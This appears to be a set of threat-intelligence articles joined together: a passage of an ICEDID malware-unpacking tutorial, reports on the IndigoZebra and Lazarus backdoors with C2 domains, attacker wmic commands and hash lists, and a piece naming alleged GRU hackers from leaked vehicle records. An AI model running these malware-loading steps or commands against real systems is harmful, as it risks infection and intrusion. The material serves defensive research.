| gzip_variant/read_configuration.py | Read ICEDID configuration file contained in the fake GZip | Windows and others (not tested) |
| rebuild_pe.py | Rebuild a PE from ICEDID custom PE file | Windows and others (not tested) |
In order to use the tools, clone the Elastic Security Lab release repository and install the nightMARE module.
```bash
git clone https://github.com/elastic/labs-releases
cd labs-release
pip install .\nightMARE\
```
## The nightMARE module
All tools in this tutorial use the nightMARE module, which implements different algorithms needed for unpacking the various payloads embedded within ICEDID. We’re releasing nightMARE because it is required for this ICEDID analysis, but stay tuned - more to come as we continue to develop and mature this framework.
## Unpacking the fake GZip
The ICEDID fake GZip is a file that masquerades as a valid GZip file formatted by encapsulating the real data with a GZip header and footer.
### GZip header and footer
GZip magic bytes appear in red. The GZip header is rendered in green. The dummy filename value is blue. After the GZip header is the true data structure, which we describe below.
We will use the `labs-releases\tools\icedid\gzip-variant\extract_gzip.py` script to unpack this fraudulent GZip.
```bash
usage: extract_gzip.py [--help] input output
positional arguments:
input Input file
output Output directory
options:
-h, --help show this help message and exit
```
We'll use `extract_gzip.py` on the ICEDID sample linked above and store the contents into a folder we created called “extract” (you can use any existing output folder).
```bash
python extract_gzip.py 54d064799115f302a66220b3d0920c1158608a5ba76277666c4ac532b53e855f extract
```
This script returns three individual files consisting of:
- The encrypted configuration file: `configuration.bin`
- The encrypted core binary: `license.dat`
- The persistence loader: `lake_x32.tmp`
## Decrypting the core binary and configuration files
The configuration and the core binary we extracted are encrypted using ICEDID’s custom encryption scheme. We can decrypt them with the `labs-releases\tools\icedid\decrypt_file.py` script.
```bash
usage: decompress_file.py [--help] input output
positional arguments:
input Input file
output Output file
options:
-h, --help show this help message and exit
```
As depicted here (note that decrypted files can be written to any valid destination):
```bash
python .\decrypt_file.py .\extract\license.dat .\extract\license.dat.decrypted
python .\decrypt_file.py .\extract\configuration.bin .\extract\configuration.bin.decrypted
```
The core binary and the configuration are now ready to be processed by additional tools.
## Reading the configuration
The configuration file format is presented below.
### Configuration file
The configuration can be read using the `labs-releases\tools\icedid\gzip-variant\read_configuration.py` script.
```bash
usage: read_configuration.py [--help] input
positional arguments:
input Input file
options:
-h, --help show this help message and exit
```
We’ll use the `read_configuration.py` script to read the `configuration.bin.decrypted` file we collected in the previous step.
```bash
python .\gzip-variant\read_configuration.py .\extract\configuration.bin.decrypted
```
This configuration contains two C2 domains:
- alishaskainz.com
- villageskaier.com
For this sample, the beaconing URI that ICEDID uses is “/news/”.
## Rebuilding the core binary for static analysis
ICEDID uses a custom PE format to obfuscate its payloads thus defeating static or dynamic analysis tools that expect to deal with a normal Windows executable.
If we want to analyze the core binary, for example with IDA Pro, we need to rebuild it into a valid PE. We use the `labs-releases\tools\icedid\rebuild_pe.py` script.
```bash
usage: rebuild_pe.py [--help] [-o OFFSET] input output
positional arguments:
input Input file
output Output reconstructed PE
options:
-h, --help show this help message and exit
-o OFFSET, --offset OFFSET
Offset to real data, skip possible garbage
```
However, when attempting to use `rebuild_pe.py` on the decrypted core binary, `license.dat.decrypted`, we receive the following error message:
```bash
python .\rebuild_pe.py .\extract\license.dat.decrypted .\extract\core.bin
```
The subtlety here is that the custom PE data doesn’t always start at the beginning of the file. In this case, for example, if we open the file in a hexadecimal editor like HxD we can observe a certain amount of garbage bytes before the actual data.
We know from our research that the size of the garbage is 129 bytes. With that in mind, we can skip over the garbage bytes and rebuild the core binary using the `rebuild_pe.py` script using the “-o 129” parameter. This time we, fortunately, receive no error message. `core.bin` will be saved to the output directory, extract in our example.
```bash
python .\rebuild_pe.py .\extract\license.dat.decrypted .\extract\core.bin -o 129
```
The rebuilt PE object is not directly executable but you can statically analyze it using your disassembler of choice.
## Executing the core binary (Windows only)
The core binary can’t be executed without a custom loader that understands ICEDID’s custom PE format as well as the entry point function prototype.
To natively execute the core binary we use the `labs-releases\tools\icedid\gzip-variant\load_core.py` script, but before using it we need to create the `context.json` file that’ll contain all the information needed by this script to build this structure.
For this sample, we copy the information contained in the fake gzip and we use the path to the encrypted configuration file.
Please note that “field_0” and “stage_2_export” values have to be found while reversing the sample.
We also reproduce the first stage behavior by creating the `UponBetter` directory and moving the `license.dat` file into it.
We execute the `labs-releases\tools\icedid\gzip_variant\load_core.py` script using the decrypted core binary: `license.dat.decrypted`, the `context.json` file.
**WARNING:** The binary is going to be loaded/executed natively by this script, Elastic Security Labs does not take responsibility for any damage to your system. Please execute only within a safe environment.
```bash
usage: load_core.py [--help] [-o OFFSET] core_path ctx_path
positional arguments:
core_path Core custom PE
ctx_path Path to json file defining core's context
options:
-h, --help show this help message and exit
-o OFFSET, --offset OFFSET
Offset to real data, skip possible garbage
```
Because we have the same garbage bytes problem as stated in the previous section, we use the “-o 129” parameter to skip over the garbage bytes.
```bash
python .\gzip-variant\load_core.py .\extract\license.dat.decrypted .\gzip-variant\context.example.json -o 129
```
When launched, the script will wait for user input before calling the entry point. We can easily attach a debugger to the Python process and set a breakpoint on the ICEDID core entry point.
Once the key is pressed, we reach the entry point. If we let the binary execute, we see ICEDID threads being created.
## Unpacking and rebuilding payloads from the rebuilt core binary
For extracting any of the payloads that are embedded inside the core binary, we will use the `labs-releases\tools\icedid\gzip-variant\extract_payloads_from_core.py` script.
```bash
usage: extract_payloads_from_core.py [--help] input output
positional arguments:
input Input file
output Output directory
options:
-h, --help show this help message and exit
```
We’ll use this script on the rebuilt core binary.
```bash
python .\gzip-variant\extract_payloads_from_core.py .\extract\core.bin core_extract
```
From here, we output two binaries corresponding to ICEDID’s payloads for web browser hooking capabilities, however, they are still in their custom PE format.
Based on our research, we know that `browser_hook_payload_0.cpe` is the x64 version of the browser hook payload and `browser_hook_payload_1.cpe` is the x86 version.
In order to rebuild them, we use the `rebuild_pe.py` script again, this time there are no garbage bytes to skip over.
```bash
python .\rebuild_pe.py .\core_extract\browser_hook_payload_0.cpe .\core_extract\browser_hook_payload_0.bin
python .\rebuild_pe.py .\core_extract\browser_hook_payload_1.cpe .\core_extract\browser_hook_payload_1.bin
```
Now we have two PE binaries (`browser_hook_payload_0.bin` and `browser_hook_payload_1.bin`) we can further analyze.
## Conclusion
In this tutorial, we covered ICEDID GZip variant unpacking, starting with the extraction of the fake GZip binary, followed by the reconstruction of the core binary and unpacking its payloads.
ICEDID is constantly evolving, and we are going to continue to monitor major changes and update our tooling along with our research. Feel free to open an issue or send us a message if something is broken or doesn’t work as expected.
Elastic Security Labs is a team of dedicated researchers and security engineers focused on disrupting adversaries through the publication of detailed detection logic, protections, and applied threat research. Follow us on @elasticseclabs and visit our research portal for more resources and research. |
# IndigoZebra APT Continues to Attack Central Asia with Evolving Tools
## Introduction
Check Point research recently discovered an ongoing spear-phishing campaign targeting the Afghan government. Further investigation revealed this campaign was a part of a long-running activity targeting other Central-Asia countries, including Kyrgyzstan and Uzbekistan, since at least 2014. The actor suspected of this cyber-espionage operation is an APT group dubbed “IndigoZebra“, previously attributed by researchers to China. The technical details of the operation were not publicly disclosed before. In this article, we will discuss the tools, TTPs, and infrastructure used by the attacker during the years of its activity. We will also provide technical analysis of the two different strains of the previously publicly undescribed backdoor xCaon, including its latest version we dubbed BoxCaon which uses the legitimate cloud-storage service Dropbox to act as its Command and Control server.
## Infection Chain
Our investigation started with the emails sent from an employee of the Administrative Office of the President in Afghanistan to the employees of the Afghanistan National Security Council (NSC). The email asked the recipient to review the modifications in the document related to the upcoming press conference of the NSC. The email contains a password-protected RAR archive named NSC Press conference.rar. Extracting the archive with the password provided in the email requires user interaction and therefore provides a challenge for some sandbox security solutions.
The extracted file, NSC Press conference.exe, acts as a dropper. The content of the lure email suggests that the attached file is the document, hence, to reduce the suspicion of the victim running the executable, the attackers use the simple trick – the first document on the victim’s desktop is opened for the user upon the dropper execution. Whether the dropper found a document to open or not, it will proceed to the next stage – drop the backdoor to C:\users\public\spools.exe and execute it.
## BoxCaon Backdoor Analysis
The backdoor contains narrow capabilities: download and upload files, run commands, and send the attackers the results. However short the list, they allow the attackers to upload and execute additional tools for further reconnaissance and lateral movement. To hide malicious functionality – persistence and C&C communication – from static detections, the malware uses a common obfuscation technique known as “stackstrings” to build wide char strings.
### Dropbox as a C&C Server
The backdoor utilizes Dropbox as a C&C server, by sending and receiving commands written to a specific folder in a specially created Dropbox account, prepared by the attacker before the operation. By using the legitimate Dropbox service for C&C communications, instead of regular dedicated server infrastructure, aids in masking the malicious traffic in the target’s network, as no communication to abnormal websites is taking place. The backdoor uses the Dropbox API with a hardcoded bearer access token and has the ability to download, upload, and execute files.
In the initialization stage, the backdoor creates a unique folder for the victim in an attacker-controlled Dropbox account. The folder is named by the victim’s MAC address which is obtained using GetAdaptersInfo API. Locally, the backdoor creates a working folder at C:\users\public\<d> (where <d> is a random integer). It then proceeds by uploading two files to the server: m-<date>.txt – containing the backdoor execution path and d-<date>.txt – containing the local working folder path.
When the attackers need to send a file or command to the victim machine, they place them in the folder named d in the victim’s Dropbox folder. The malware retrieves this folder and downloads all its contents to the working folder. Finally, if the file named c.txt – that contains the attacker command, exists in this working folder, the backdoor executes it using the ComSpec environment variable, which normally points to the command line interpreter (like cmd.exe), and uploads the results back to the Dropbox drive while deleting the command from the server.
### Persistence
The backdoor establishes persistence by setting the HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows\load registry key to point to its executable. This method is less common than Run or RunOnce keys but achieves its ultimate goal: the program listed in the Load registry value runs when any user logs on.
## Post-infection
Once the C&C communication is established, the threat actor starts by executing fingerprinting and reconnaissance commands on the machine. In this attack, some of the actions we spotted included:
- Download and execution of ntbscan (SHA-1: 90da10004c8f6fafdaa2cf18922670a745564f45) – NetBIOS scanner tool widely used by multiple APT actors including the prolific Chinese group APT10
- Execution of Windows built-in networking utility tools
- Access to the victim’s files, especially documents located on the Desktop
## Attribution
Searching for related samples in the wild yielded almost 30 executables, each of them bear varying degrees of similarity with the spools.exe BoxCaon backdoor. One of the common similarities is a very specific implementation of the command execution: first constructing the ComSpec string on stack, using the same path naming convention for the output file, and deleting it right after the execution.
The earliest of the found samples is dated back to 2014. Even though some of the executables claim to be compiled in 2004 or 2008, based on the C&C servers registration time and the activity, we believe the compilation date was probably modified by the actor. While we were collecting additional information about this long-lasting operation, we noticed a reference to the Kaspersky 2017 APT trends report where one of the samples is referred to as xCaon malware, used by the Chinese-speaking APT actor “IndigoZebra“. The other samples in our set appear to be the different variants of xCaon, including packed ones, or the PoisonIvy malware which was also reported as a part of the actor’s arsenal.
Based on the code and functionality similarities we can attribute the BoxCaon backdoor to the updated variant of the same xCaon family (hence the name). It is the only xCaon version that communicates over Dropbox API in clear text commands, whereas all the other samples use HTTP protocol with Base64+XOR encryption to communicate with their C&C servers. Although the xCaon malware family is used in the wild for several years, there was no technical analysis publicly available until now. In the next section, we will summarize the technical details of all the versions we’ve encountered.
## xCaon HTTP Variant Analysis
As mentioned earlier, we found approximately 30 different samples of the xCaon HTTP variant with slightly different functionality. Below we will cover the most noteworthy features of the backdoor, highlighting samples with unique functionality.
### Anti-AV
The HTTP variant checks if Kaspersky is installed on the victim’s machine by searching for the existence of files in the Kaspersky installation folder. If Kaspersky AV is not installed on the system, persistence via registry is installed. First, the backdoor makes sure that a copy of the executable exists in the specific path of the TEMP folder, and then the path is written to the HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows\load key, causing the malware to run each time any user logs in.
### Command Execution
The backdoor receives commands from the attacker and runs them in an interactive CMD shell using pipes. The commands may differ between the samples, the full list of the commands is provided in Appendix B.
### Victim Fingerprinting
The backdoor collects the victim’s MAC address using the GetAdaptersInfo API. Some of the versions generate a user ID and save it in a temporary file. These IDs are then passed to the C&C server as one of the POST body parameters (MAC address is sent encrypted as discussed later).
### C&C Communication Protocol
The communication between the malware and the server is based on the HTTP protocol and slightly varies between the samples. Every few seconds the backdoor sends a POST request to the C&C URL. In the response (which looks like an HTML page), the malware searches for a specific pattern: it takes the string between <!—|# and #|->, decodes it, and executes the command. The result is encrypted and sent back to another URL on the server as the parameter of a POST request.
### Encryption
The HTTP variant used an interesting and unique method of encryption for both configuration and communication. It uses a predefined key, which we found to be one of the following two (depends on the malware variant):
1. "GetMessagePos SendMessage GetExitCodeProces CreateProcess GetTickCount GetDCEx CopyImage DrawText CloseHandle SendMessageTimeout"
2. "\x32\xE2\x5C\x48\xEC\x0E\xC3\x7F\x5F\x7A\xED\x11\xCB\xE5\x0A\x87\x0F\xFA\x7D\xFC\xF9\xA7\x39\x38\x3D\xE3\x6B\x6F\xBF\x9B\x84\x1F\xE7\xBC\xD1\x0E\x0A\x62\x79\x7E\xCE\x6F\x7F\xE6\xB7\xF"
The decryption process is based on splitting the “fake” base64-like string into two strings, XORing the first part with the predefined key, base64-decoding the second part, and finally, XOR both the results.
## Targets
While we saw the Dropbox variant (BoxCaon) targeting Afghan government officials, the HTTP variants are focused on political entities in two particular Central Asian countries – Kyrgyzstan and Uzbekistan. This very specific victimology is based upon the following overlapping indicators:
- Check Point products’ telemetry
- C&C domains impersonating known Uzbek and Kyrgyz domains (post[.]mfa-uz[.]com – Uzbekistan Ministry of Foreign Affairs; ousync[.]kginfocom[.]com – Kyrgyz state enterprise “Infocom”)
- Malware names of the samples were written in Kyrgyz and Russian (Министрге сунуштама.exe – Recommendation to the Minister.exe in Kyrgyz; материалы к массовому беспорядку.exe – materials to riots.exe in non-native Russian)
- VT submitters’ countries for multiple samples from this campaign are Uzbekistan and Kyrgyzstan.
## Infrastructure
As the Dropbox variant uses Dropbox API for communication, the only information we were able to gather from it is the Dropbox account information. However, when we analyzed the infrastructure of the HTTP variants, we saw that the samples have a common infrastructure for over 6 years since the first sample was in the wild.
To get a clearer picture of how the attackers operated their infrastructure throughout the years, we have plotted the various malicious domains according to the ASN they were hosted on. The results are presented in the figure below:
### Observations
- Most of the domains are relatively short-lived. This can be explained by the precision targeting of the whole operation: the lookalike domains were most likely created to mislead a specific entity and were not reused anymore.
- Since 2019, all of the new infrastructure has been concentrated on ASN 20473 (CHOOPA). This observation does not come as a surprise: Vultr, a subsidiary of CHOOPA, is considered an “attractive platform for criminals” by the research community and widely used for malicious purposes by multiple groups including, for example, Chinese-based APT group ViciousPanda whose recent C&C servers are also all hosted on Vultr servers.
## Conclusion
In this publication, we unveiled the latest activity and tools of the long-running IndigoZebra operation, previously attributed to a Chinese-speaking threat actor. In this case, we observed a cyber-espionage operation focusing on governmental agencies in Central Asia, being targeted with the Poison Ivy and xCaon backdoors, along with the newly discovered BoxCaon backdoor variant – whose C&C communication capability was updated to utilize the Dropbox service itself as the C&C infrastructure of the operation. While the IndigoZebra actor was initially observed targeting former Soviet republics such as Uzbekistan and Kyrgyzstan, we have now witnessed that its campaigns do not dial down, but on the contrary – they expand to the new targets in the region, with a new toolset. Check Point products block this attack from the very first step.
## Appendix A: Indicators of Compromise
**BoxCaon**
- b9973b6f9f15e6b20ba1c923540a3c9b
- 974201f7895967bff0b018b95d5f5f4b
**xCaon**
- 3ecfc67294923acdf6bd018a73f6c590
- 35caae29c47dfb570773f6d5fd37e625
- 3562bf97997c54d74f58d4c1ad84fcea
- c00f6268075e3af85176bf0b00c66c13
- 85ea346e74c120c83db7a89531f9d9a1
- 5a8783783472be67c09926cc139d5b27
- b3d11e570da4a66f4b8520bc6107283b
- fdcae752f64245c159ab0f4d585c5bf8
- bb521918d08a4480699e673554d7072c
- c5406e7e161c758e863eb63001861bb1
- 4d6e93d2416898ea3a4f419aa3a438e3
- 6dfd06f91060e421320b6ebd63c957f0
- 0b10ac9bf6d2d31cbce06b09f9b0ae75
- b831a48e96e2f033d09d7ad5edd1dc67
- a875112c66da104c35d0eb43385d7094
- 1a28c673b2b481ba53e31f77a27669e7
- ef3383809fdf5a895b42e02bf06f5aa3
- aa107be86814d9c86911a2a7874d38a0
- 45d8cfe3450562564a1eb00a1aa0db83
- cdd7bfa36c6e47730fad94113aba7070
- 06d72a4d99fcd76a3502432657f3c999
- 5a91ccabd2b12ac56ba5170cf9ff8343
- 33f42e9678ee91369d11ef344bbd5a0d
- 84575619a690d3ef1209b7e3a7e79935
- 16e61624827d7785740b17c771a052e6
- ccc7f88b72c286fd756e76309022e9f8
- e98031cf43bfed73db0bce43918a608c
- 5ea42089cf91464b9c0c42292c18ba4c
- cff6d9f5d214e3366d6b4ae31c413adc
**PoisonIvy**
- c74711de8aa68e7d97f501eda328d032
## C&C Servers
| Domain | URL |
|----------------------------------------|------------------------------------------|
| infodocs[.]kginfocom[.]com | infodocs[.]kginfocom[.]com/gin/kw.asp |
| | infodocs[.]kginfocom[.]com/gin/tab.asp |
| ousync[.]kginfocom[.]com | ousync[.]kginfocom[.]com/sync/kw.asp |
| uslugi[.]mahallafond[.]com | uslugi[.]mahallafond[.]com/hall/kw.asp |
| 6z98os[.]id597[.]link | 6z98os[.]id597[.]link/css/art.asp |
| hwyigd[.]laccessal[.]org | hwyigd[.]laccessal[.]org/news/art.asp |
| | hwyigd[.]laccessal[.]org/news/js.asp |
| help[.]2019mfa[.]com | help[.]2019mfa[.]com/help/art.asp |
| m[.]usascd[.]com | m[.]usascd[.]com/uss/word.asp |
| ns01-mfa[.]ungov[.]org | ns01-mfa[.]ungov[.]org/un/art.asp |
| dcc[.]ungov[.]org | dcc[.]ungov[.]org/crss/art.asp |
| index[.]google-upgrade[.]com | index[.]google-upgrade[.]com/upgrade/art.asp |
| mofa[.]ungov[.]org | mofa[.]ungov[.]org/momo/art.asp |
| update[.]ictdp[.]com | update[.]ictdp[.]com/new/art.asp |
| post[.]mfa-uz[.]com | post[.]mfa-uz[.]com/post/art.asp |
| cdn[.]muincxoil[.]com | cdn[.]muincxoil[.]com/cdn/js.asp |
| | cdn[.]muincxoil[.]com/cdn/art.asp |
| tm[.]2019mfa[.]com | tm[.]2019mfa[.]com/css/p_d.asp |
## Appendix B: HTTP Variant Commands List
| Command | Action |
|-------------------|-------------------------------------------------|
| x-<#B#> | Create BAT file on the victim’s machine |
| x-<#U#> | Upload file to the victim’s machine |
| x-Down | Download a file to the victim’s machine from a URL and execute it |
| x-StartIM | Start interactive shell |
| x-Unis | Exit the process (uninstall) |
| x-Delay | Sleep for X seconds |
| x-Exec | Execute a file |
| x-DownOnly | Download a file to the victim’s machine from a URL |
## Appendix C: Dropbox Account Information
## Appendix D: MITRE ATT&CK Matrix
| Tactic | Technique | Technique Name |
|-------------------------------|----------------|-------------------------------------------------|
| Initial Access | T1566.001 | Phishing: Spearphishing Attachment |
| Execution | T1204.002 | User Execution: Malicious File |
| Persistence | T1547.001 | Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder |
| Defense Evasion | T1027 | Obfuscated Files or Information |
| Discovery | T1518.001 | Software Discovery: Security Software Discovery |
| Command and Control | T1071.001 | Application Layer Protocol: Web Protocols |
| | T1102.002 | Web Service: Bidirectional Communication |
| | T1132 | Data Encoding |
| Exfiltration | T1567.002 | Exfiltration Over Web Service: Exfiltration to Cloud Storage | |
# Russian Vehicle Registration Leak Reveals Additional GRU Hackers
On October 15th, the United States filed an indictment against six Russian nationals accused of being hackers with Russian military intelligence (GRU). These six men, per the indictment, were involved in a number of high-profile cyberattacks, with targets including French President Emmanuel Macron’s election campaign, the Winter Olympics, Ukrainian energy infrastructure, the UN’s chemical watchdog (OPCW), and others.
In 2018, the Netherlands and United Kingdom issued a similar cache of information about a number of GRU hackers involved in some of the same cyberattacks. In both this week’s and the 2018 disclosure of the identities of GRU hackers, the incompetence of the Russian state and its information security becomes quite clear: many of these secretive hackers have registered their vehicles to their workplace in Moscow, that is to say to the publicly accessible address of GRU military units. By running simple queries in widely available leaked databases showing Moscow Oblast vehicle registration data, we can easily discover the identities of dozens of additional hackers who registered their vehicles to the same non-existent Moscow address.
## Indicted Hackers at Svobody
When searching the names of three of the six indicted hackers, we found that they have all registered their vehicles to the same address: Svobody 21В [referring to the Russian “в”, the third letter of the alphabet, not the English “b”]. It is important to note that none of these hackers actually live at this address — which would make it a very crowded communal apartment. Rather, they simply used their workplace as a vehicle registration address, as is done by many Russians serving in the military. In this case, the GRU’s military unit 74455 operates out of the address Svobody 21.
The biographical information in this leaked vehicle registration database matches the information in the FBI warrants for Pavel Frolov, Pyotr Pliskin, and Anatoly Kovalev, except for the FBI noting Pliskin’s date of birth as August 6, instead of August 26. This indicates either an error on the FBI’s part or a typo in the leaked database.
Kovalev was previously indicted in 2018 along with 11 other GRU hackers linked to the same military unit 74455. As detailed by The Insider, the vehicle of another of the six indicted hackers, Yuri Andrienko, is registered to a different known GRU address — Khoroshevskoe 76B.
## A Hacker Registry
Conducting a wider search by an address on the same leaked Moscow vehicle registration database returns dozens of other people — all born between 1978 and 1998 — who registered their vehicles to the same Svobody 21 address. While there are slight variations in the data, it is safe to assume that all of these people are somehow connected to the GRU.
In sum, there are:
- 38 people registered to Svobody 21 В
- Six people registered to Svobody 21 В Ч (V Ch)
- Five people registered to Svobody 21 ВЧ (VCh)
The eleven people who registered their address to the non-existent apartments at Svobody 21 ВЧ and В Ч, instead of just В (also non-existent), likely refers to the Russian abbreviation for “military unit” — в/ч (войсковая часть or voyskovaya chast’).
Of these 49 people registered to this GRU-associated address:
- 38 are men, 11 are women [some of the people registered at this address could be the spouse of a GRU officer and just have the vehicle registered in their name, but it is highly likely that the majority of these 49 people are directly associated with the GRU themselves]
- The average birth year is 1988, making the approximate average age 32 years old
- The youngest person listed to the GRU military unit’s address was born in 1998 (22 years old), while the oldest was born in 1978 (42 years old).
Except for the three hackers indicted this week, none of the other 46 individuals with a Svobody 21 vehicle registration have been publicly named or indicted by any Western country. |
# Lazarus Campaign Uses Remote Tools, RATANKBA, and More
Few cybercrime groups have gained as much notoriety—both for their actions and for their mystique—as the Lazarus group. Since they first emerged back in 2007 with a series of cyberespionage attacks against the South Korean government, these threat actors have successfully managed to pull off some of the most notable and devastating targeted attacks—such as the widely-reported 2014 Sony hack and the 2016 attack on a Bangladeshi bank—in recent history. Throughout the Lazarus group's operational history, few threat actors have managed to match the group in terms of both scale and impact, due in large part to the wide variety of tools and tactics at the group’s disposal.
The malware known as RATANKBA is just one of the weapons in Lazarus’ arsenal. This malicious software, which could have been active since late 2016, was used in a recent campaign targeting financial institutions using watering hole attacks. The variant used during these attacks (TROJ_RATANKBA.A) delivered multiple payloads that include hacking tools and software targeting banking systems. We analyzed a new RATANKBA variant (BKDR_RATANKBA.ZAEL-A), discovered in June 2017, that uses a PowerShell script instead of its more traditional PE executable form—a version that other researchers also recently identified.
We identified a number of servers Lazarus used as a backend system for temporarily holding stolen data. We were able to access this backend, which provided us with valuable information about this attack and its victims. Around 55% of the victims of RATANKBA’s PowerShell version were located in India and neighboring countries. This implies that the Lazarus group could be either collecting intelligence about targets in this region or is at an early stage of planning. They could have also been performing exercises in preparation for an attack against similar targets.
The majority of the observed victims were not using enterprise versions of Microsoft software. Less than 5% of the victims were Microsoft Windows Enterprise users, which means that currently, RATANKBA mostly affects smaller organizations or individual users, not larger organizations. It's possible that Lazarus is using tools other than RATANKBA to target larger organizations.
Lazarus’ backend logs also record victim IP addresses. Based on a reverse WHOIS lookup, none of the victims can be associated with a large bank or a financial institution. However, we did manage to identify victims that are likely employees of three web software development companies in India and one in South Korea.
## Infection Flow
RATANKBA is delivered to its victims using a variety of lure documents, including Microsoft Office documents, malicious CHM files, and different script downloaders. These documents contain topics discussing either software development or digital currencies. The growth of cryptocurrencies may be a driving force behind the use of cryptocurrency-related lures.
Once the lure’s recipient opens and executes the file, a backdoor will be dropped into the victim’s system. This RATANKBA backdoor is what is used to communicate with RATANKBA’s Command-and-Control (C&C) server. We have observed two initial conversations with the C&C server (all are done via HTTP GET or POST to the server):
- HTTP POST to {script}.jsp?action=BaseInfo&u=XXX: Sends the victim information to the backend server
- HTTP GET to {script}.jsp?action=What&u=XXX: Checks if there are any pending jobs for the backdoor
This means that the backdoor is responsible for both uploading victim information, as well as executing any tasks that the controller has assigned to it, which includes the following:
- Kill: Stops the backdoor’s activities
- interval: Changes the interval in which the backdoor retrieves jobs; the default interval is set at 120 seconds
- cmd: Executes shell commands
- exe: Reflectively injects a DLL downloaded from a specific URL
In addition to the backdoor’s modus operandi, the attackers will use a Microsoft WMI command-line tool to list the compromised system’s running processes, which are sent to the C&C server:
```
"C:\Windows\system32\cmd.exe" /c "wmic process get processid,commandline,sessionid | findstr SysWOW"
"C:\Windows\system32\cmd.exe" /c "wmic process get processid,commandline,sessionid | findstr x86"
```
## Technical Analysis
During our analysis, we collected a copy of the RATANKBA malware’s Lazarus Remote Controller tool. The remote controller provides a user interface that allows attackers to send jobs to any compromised endpoint. The controller gives the attackers the ability to manipulate the victims’ host by queueing tasks on the main server. RATANKBA retrieves and executes the tasks and retrieves the collected information.
The RATANKBA malware has a control model that does not use real-time communication between the backdoor and the attacker. Instead, both the remote controller and the backdoor connect to its main communication control server to push or pull pieces of information. The controller uses a graphical UI interface and can be used to push code to the server, while the backdoor regularly connects to the server to check for pending tasks. The controller downloads the victim profiles from the server. If the profiles are already downloaded by the controller, they are deleted from the server side. The controller can post victim-specific tasks as well as global specific tasks to the server. Below are the various functionalities of RATANKBA’s controller:
| Command Name | Function |
|--------------|----------|
| get_time | Retrieves the server time |
| delete_inf | Deletes the downloaded victim profiles |
| delete_con | Deletes the connection log files if they were already downloaded |
| Kill | Posts a job to kill the backdoor |
| inject | Posts a job for DLL injection |
| Interval | Changes the sleep interval |
| Cmd | Posts a job for command shell execution |
| delete_cmd | Retrieves the job results and deletes the posted job |
| broadcast_cmd| Posts a job for all the backdoors connecting to the server |
RATANKBA’s controllers use the “Nimo Software HTTP Retriever 1.0” user-agent string for its communication. The communication protocol format for the controller and backdoor is as follows:
```
<domain>/<jsp filename>.jsp?action=<corresponding actions plus additional needed parameters>
```
One of the most notable changes on the new RATANKBA variant is that the new version was written in PowerShell, whereas the original variant was in PE form. The shift from PE to PowerShell makes it more difficult for antivirus solutions to detect.
## Profile of the Attackers
While we do not have any knowledge of who the actual Lazarus attackers are, the data collected from the backend systems gives us some insights into the internet usage patterns of systems likely owned by Lazarus group members. Clues regarding the profiles of the attackers were also found, including those connected to developers and at least one operator. All of them appear to be native Korean speakers, or at least have Korean language proficiency that is at the near-native level. We believe at least one of them also understands Chinese.
We also observed clues that the attackers are interested in cryptocurrencies such as Bitcoin (BTC) and Ant Share (NEO). One of them transferred shares of NEO at a good market price.
## Defending against RATANKBA
Given Lazarus’ use of a wide array of tools and techniques in their operations, it’s reasonable to assume that the group will continue to use ever-evolving tactics in their malicious activities. Overall, an organization will need multilayered security strategies, as Lazarus and other similar groups are experienced cybercriminals who employ different strategies to get past organizational defenses.
The impact of this malware can be mitigated with proven mitigation techniques such as routinely scanning the network for any malicious activity to help prevent the malware from entering and spreading through an organization. In addition, educating employees and other key people in an organization on social engineering techniques can allow them to identify what to look out for when it comes to malicious attacks.
Other mitigation strategies include a multilayered approach to securing the organization’s perimeter, which includes hardening the endpoints and employing application control to help prevent malicious applications and processes from being executed.
Trend Micro™ Deep Security™ provides virtual patching that protects endpoints from threats such as malicious redirections to malware-hosting URLs as well as those that exploit unpatched vulnerabilities. Trend Micro™ Deep Discovery™ provides detection, in-depth analysis, and proactive response to attacks using exploits and other similar threats through specialized engines, custom sandboxing, and seamless correlation across the entire attack lifecycle, allowing it to detect these attacks even without any engine or pattern update.
## Indicators of Compromise (IoCs):
**Hashes detected as BKDR_RATANKBA.ZAEL-A**
- 1768f2e9cea5f8c97007c6f822531c1c9043c151187c54ebfb289980ff63d666
- 6cac0be2120be7b3592fe4e1f7c86f4abc7b168d058e07dc8975bf1eafd7cb25
- d844777dcafcde8622b9472b6cd442c50c3747579868a53a505ef2f5a4f0e26a
- db8163d054a35522d0dec35743cfd2c9872e0eb446467b573a79f84d61761471
- f7f2dd674532056c0d67ef1fb7c8ae8dd0484768604b551ee9b6c4405008fe6b
**Hashes detected as CHM_DLOADER.ZCEL-A**
- 01b047e0f3b49f8ab6ebf6795bc72ba7f63d7acbc68f65f1f8f66e34de827e49
- 030b4525558f2c411f972d91b144870b388380b59372e1798926cc2958242863
- 10cbb5d0974af08b5d4aa9c753e274a81348da9f8bfcaa5193fad08b79650cda
- 650d7b814922b58b6580041cb0aa9d27dae7e94e6d899bbb3b4aa5f1047fca0f
- 6cb1e9850dd853880bbaf68ea23243bac9c430df576fa1e679d7f26d56785984
- 6d4415a2cbedc960c7c7055626c61842b3a3ca4718e2ac0e3d2ac0c7ef41b84d
- 772b9b873100375c9696d87724f8efa2c8c1484853d40b52c6dc6f7759f5db01
- 9d10911a7bbf26f58b5e39342540761885422b878617f864bfdb16195b7cd0f5
- d5f9a81df5061c69be9c0ed55fba7d796e1a8ebab7c609ae437c574bd7b30b48
**Hashes detected as JS_DLOADER.ZBEL-A**
- 8ff100ca86cb62117f1290e71d5f9c0519661d6c955d9fcfb71f0bbdf75b51b3
**Hashes detected as X97M_DLOADR.ZBEL-A**
- 972b598d709b66b35900dc21c5225e5f0d474f241fefa890b381089afd7d44ee
**Hashes detected as VBS_DLOADR.ZAEL-A**
- 4722138dda262a2dca5cbf9acd40f150759c006f56b7637769282dba54de0cab
We analyzed a new RATANKBA variant that uses a PowerShell script instead of its more traditional PE executable form. In this entry, we provide in-depth analysis of the malware, as well as a detailed examination of its remote controller.
By: CH Lei, Fyodor Yarochkin, Lenart Bermejo, Philippe Lin, Razor Huang
January 24, 2018 |
# Adventures in Contacting the Russian FSB
KrebsOnSecurity recently had occasion to contact the Russian Federal Security Service (FSB), the Russian equivalent of the U.S. Federal Bureau of Investigation (FBI). In the process of doing so, I encountered a small snag: The FSB’s website said in order to communicate with them securely, I needed to download and install an encryption and virtual private networking (VPN) appliance that is flagged by at least 20 antivirus products as malware.
